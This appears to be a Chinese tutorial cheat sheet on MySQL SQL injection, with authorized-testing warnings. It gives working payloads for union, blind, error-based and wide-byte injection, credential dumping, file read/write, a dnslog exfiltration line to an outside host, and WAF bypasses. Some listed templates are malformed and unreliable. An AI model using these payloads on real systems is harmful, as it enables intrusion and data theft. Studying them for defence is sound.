sql注入总结笔记

时间:2022-07-23
本文章向大家介绍sql注入总结笔记,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

渗透千万条,安全第一条

WARNING:

  1. 授权渗透,备份数据后渗透;
  2. 在不确定危害的前提下,避免在update、insert、delete种类的注入点进行注入;
  3. 避免使用工具进行上述注入;
  4. 避免使用sqlmap的–dump功能;

什么是SQLi

前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果。

SQLi危害

  1. 从技术上来说:未授权、非法增删改查数据库内容,包括窃取信息、删除数据库、读写系统文件、执行命令等等;
  2. 从影响上来说:客户数据丢失、系统交易数据被篡改、网站首页被篡改。

SQLi分类

  1. 按照后台处理前端提交参数的类型来分,分两类:数字型注入和字符型注入。
  2. 按照请求方式分:GET、POST
  3. 按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。

如何发现SQLi?

  1. 确认是否是动态网站
  2. 找到可能与后台数据库产生交互的位置,测试是否是注入点。

SQLi的利用步骤?

联合查询>报错>布尔盲注>延时盲注

宽字节注入、二次注入(代码审计)

MySQL注释符

#            单行,从‘#’字符从行尾
--空格       单行,从‘-- ’序列到行尾
/* 允许注释跨越多行 */   

MySQL基础函数

  1. substr(var1, var2, var3) 功能:从字符串里截取其中一段字符(串)
    • var1:被截取的字符串
    • var2:从哪一位开始截取
    • var3:截取长度
  2. ascii(var) 功能:取var字符的ascii码(十进制)
  3. user() 取得 当前登陆的用户,相当于问 MySQL whoami 的意思。
  4. if(var1,var2,var3) var1:条件 var2:条件为真时返回的值 var3:条件为假时返回的值
  5. sleep(var) 暂停执行var秒,var可以用小数

SQL基础语句

更改记录

update user set name='xiaoming', passwd='123456' where id=2;

update 表名 set 列名1=“值1”, 列名2=“值2” where 条件语句;

URL编码

目标 了解get请求后到底是编码还是解码,要传送目标字符串到后端,到底该先编码还是解码然后输入到地址栏中。

原理 get请求会对URL编码的字符进行自动解码传送到后端

例子

%23:#

+:空格

%2B:+

MySQL联合查询注入

优先级

union > 报错 > 布尔盲注 > 延时盲注

思路及步骤

  1. 判断是否动态网站
  2. 找注入点
  3. 判断数字型、字符型
  4. 如果是字符型,则需要判断闭合符
    • 如果尝试作为闭合符的字符并非是闭合符,那么它会被当成普通字符处理,不会报错(报错不等同于查询不出来);
    • 如果尝试作为闭合符的字符是闭合符中的一个,那么会报错;
    • 尝试多个输入点进行判断,尤其是要发掘新功能的输入点。
  5. 猜测后台SQL语句
select 1,u,p from t_users where id = '1' limit 0, 1;
  1. 判断列数

二分法

select u,p from t_users where id = '1' order by 10%23' limit 0, 1;
  1. 找显示位
  • 给出一个不能查出的条件,与联合查询联用

​ 例子:union select 1,2,3%23……

  1. 确定一个显示位进行查询
  2. 查库名
  • database()
  • security(所查库名)

access数据库管理系统是没有库的,不用做一步。

  1. 查表名
union select 1,2,group_concat(table_name), 4, 5 from information_schema.tables where table_schema = 'double_fish';--+
  • emails,referers,uagents,users(所查表名)

注意: information_schema库是特殊库,是一个在mysql5.0后才有的系统库。

  1. 查列名
union select 1,2,group_concat(column_name),4,5 from  information_schema.columns where table_schema = 'double_fish' and table_name = 't_admin';--+
  • id,username,password(所查列名)
  1. 查记录
union select 1,2,group_concat(concat_ws(",", "<br>", id,username,password)) from users;--+

查找库名、表名、列名应该找对显示位,比如下面这条查记录的语句就不能正常执行

union select 1,2,group_concat(username), group_concat(password),5 from users;--+

重点

掌握查询当前库名的函数database();

掌握判断闭合符的方法;

掌握information_schema库与SQL注入相关的用法;

掌握union查询及其条件;

掌握concat、concat_ws、group_concat的用法;

掌握双引号等特殊字符的查询,要用到转义符;

理解二分法在联合查询中的作用。

布尔盲注

Payload构造思路

  1. 猜测SQL语句;
  2. 确定闭合符;
  3. 观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回的差异
  4. 构造查询布尔条件
    • 原理:通过截取想要查询字符串的一个字符,将其ascii码与数字进行二分对比,逼近该字符的ascii值。
    • 步骤一:确定待查询字符串的长度:length()
    • 步骤二:构造布尔语句比对逐字符确定对应ascii码值,拼凑出待查询的字符串

延时盲注

使用场景:除了对时间函数敏感外,由于后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同结果。

if(),sleep(),benchmark()

  1. 猜测后台SQL语句
  2. 确定场景
  3. 判断闭合符
    • 构造一个明显会延时的if()语句拼接到条件语句(where)后
    • 再依次尝试添加待确定的闭合符
    • 如果延时,则尝试的闭合符正确
  4. 利用闭合符进行闭合,将条件语句(if)中的第一个参数构造成我们想通过比大小的查询的语句;
  5. 如果第一个参数返回真,则后端延迟返回内容。反之,立即返回(网络延迟除外);
  6. 网络延迟的情况下,根据网络延迟大小,调整延迟时间以便能够区分后端延迟还是网络延迟;
  7. 按照之前布尔盲注后续步骤进行查询。

写文件

SELECT “123” INTO OUTFILE “c:/123.txt";

SELECT “123abc” INTO DUMPFILE “c:/123.txt”;

注:dumpfile可以处理非可见字符。

要使用联合查询写文件,不能使用and或者or拼接写文件

条件

  1. 绝对路径
  2. File_priv开关需要是打开状态 select file_priv from mysql.user;
  3. secure_file_priv 默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。 select @@global.secure_file_priv;
    • 设置为空,那么对所有路径均可进行导入导出。
  • 设置为一个目录名字,那么只允许在该路径下导入导出。
    • 设置为Null,那么禁止所有导入导出。

读文件

select load_file("路径和文件名");

load data infile();

load data infile 和 load data local infile ,不受 secure-file-priv 的限制

表单注入

  • 表单注入和GET注入区别? 特殊字符,如注释符是否需要编码是不同的。
  1. 判断是否是POST注入
  2. 猜测后台SQL语句
  3. 猜测闭合符
  4. 猜测列数
  5. 找显示位
  6. ……

条件语句中or的认识

or前面为真,分两种情况:

  1. or后面为假:返回一条记录
  1. or后面为真:返回所有记录。

测试注释步骤

两种闭合符:单引号和双引号

四种方式:1、单引号;2、双引号;3、单引号后面跟1到多个)圆括号;4、双引号后面跟1到多个)圆括号。

猜测后台SQL语句,select,update

insert、update、delete注入

**使用报错注入,后台报错开关是打开的。

报错注入模板

原理1——薛定谔之报错注入

双(查询)注入,又称floor报错注入,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:

1、union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
2、and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --+

count(*)是必须带上的。

限制:

1、输出字符长度限制为?个字符

2、后台返回记录列数至少2列

原理2 updatexml报错注入

首先了解下updatexml()函数

updatexml (xml_document, xpath_string, new_value);
第一个参数:xml_document是string格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。 ​ 限制1:输出字符长度限制为32个字符 ​ 限制2:仅payload返回的不是xml格式,才会生效

用的最多,所以被禁用的也最广。故不推荐此方式 强制性让要读取的数据类型不符合规划。然后让不符合的数据类型报错出来。 MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。

原理3 ExtractValue报错注入

模板1:

and extractvalue('anything',concat('/',(Payload)))

不推荐使用。

模板2:

union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23

不存在丢失报错成果的情况。

例子

限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
地址1
http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
地址2
http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
地址3
http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))%23

其他模板

1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(selectuser())),1)) 4、通过NAME_CONST报错,注入语句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c) 5、通过join报错,注入语句如下: select * from(select * from mysql.user ajoin mysql.user b)c; 6、通过exp报错,注入语句如下: and exp(~(select * from (select user () ) a) ); 7、通过GeometryCollection()报错,注入语句如下: and GeometryCollection(()select *from(select user () )a)b ); 8、通过polygon ()报错,注入语句如下: and polygon (()select * from(select user ())a)b ); 9、通过multipoint ()报错,注入语句如下: and multipoint (()select * from(select user() )a)b ); 10、通过multlinestring ()报错,注入语句如下: and multlinestring (()select * from(selectuser () )a)b ); 11、通过multpolygon ()报错,注入语句如下: and multpolygon (()select * from(selectuser () )a)b ); 12、通过linestring ()报错,注入语句如下: and linestring (()select * from(select user() )a)b );

LIKE注入

SELECT * FROM Websites WHERE name LIKE '%xxx%';

宽字节注入

西欧字母符号,通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码就是用两个字节来表示中文区字符的一个编码标准。

GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE(高字节从81到FE,低字节从40到FE),剔除xx7F码位,共23940个码位。

条件

后台使用GBK编码的时候,存在着看不见的ascii码转换为GBK编码的转换过程,可以使用宽字节注入。

原理

编码转换存在着单字符被合并的情形

反斜杠对应url编码%5c,是单字节的。 在%5c前再加入一个单字节字符%dd(范围可以是81到FE之间),就成了%dd%5c 而当后端使用GBK编码的时候,会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。

dnslog带外查询数据

and load_file(concat("\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".xxx.dnslog.cn\xsy.txt"))%23

MySQL注入绕过

  • 编码字符串
    • char(),如select(char(67,58,92,92,84,69,83,84,46,116,120,116));
    • 16进制编码,如0x633a2f77616d702f7777772f666c61672e747874
    • hex
    • unhex(),如 select convert(unhex(‘E698A5E79CA0’) using utf8);
    • to_base64(), from_base64():mysql 5.6后支持
  • 过滤绕过:
    • and->&&
    • or->||
    • =、>、<用between()函数、like关键字绕过
    • 空格->+,/**/
    • limit 0,1用limit 0 offset 1绕过
    • substr用mid、substring绕过
    • sleep用benchmark绕过
  • 大小写绕过
  • 内外双写绕过
  • 内联注释绕过/**/
  • %00等空白符嵌入绕过WAF
  • 超大数据包绕过
  • 双提交绕过
  • 异常请求方法绕过